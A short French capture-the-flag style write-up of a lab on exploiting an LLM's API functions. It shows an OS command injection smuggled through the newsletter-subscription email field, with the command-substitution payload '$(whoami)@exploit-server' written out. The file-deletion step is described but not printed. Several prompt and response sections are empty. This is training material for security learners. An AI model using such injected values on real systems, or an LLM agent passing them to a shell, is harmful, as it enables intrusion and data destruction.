Exploitation de vulnérabilités dans des APIs de LLM

Exploiting vulnerabilities in LLM APIs

Contexte du lab

  • Le lab expose une injection de commandes système (OS command injection) via des APIs accessibles indirectement au travers du LLM.

  • Objectif : supprimer le fichier morale.txt situé dans le répertoire personnel de Carlos.

Objectif

  • Exploiter une fonctionnalité API pilotée par le LLM pour déclencher l’exécution d’une commande système et faire disparaître morale.txt chez Carlos.

Cartographie de la surface d’attaque (LLM → APIs)

  1. Question posée au LLM

Réponse :

Question posée au LLM

Réponse (fonctions disponibles) :

Validation du point d’entrée vulnérable

  • Utilisation de subscribe_to_newsletter avec une adresse contrôlée (exploit server) pour vérifier que le flux “newsletter” fonctionne bien.

  • Réception d’un email de confirmation, indiquant que l’abonnement est pris en compte.

Thank you for subscribing to our newsletter. Prepare to receive countless awesome offers and deals!

Mise en évidence de l’exécution de commande (preuve indirecte)

  • En jouant sur la valeur fournie comme “email” (entrée manipulée), tu observes un effet côté serveur permettant d’inférer qu’une substitution/évaluation se produit.

$(whoami)@exploit-0a570012045072d581d8c92601770003.exploit-server.net

Indice observé : le mail reçu montre une identité associée à Carlos (preuve que l’entrée est interprétée d’une manière non attendue).

Exploitation (neutralisée)

  • Même mécanisme, mais au lieu de récupérer une info système, l’entrée est construite pour déclencher une action destructive visant à supprimer morale.txt dans le home de Carlos.

Mis à jour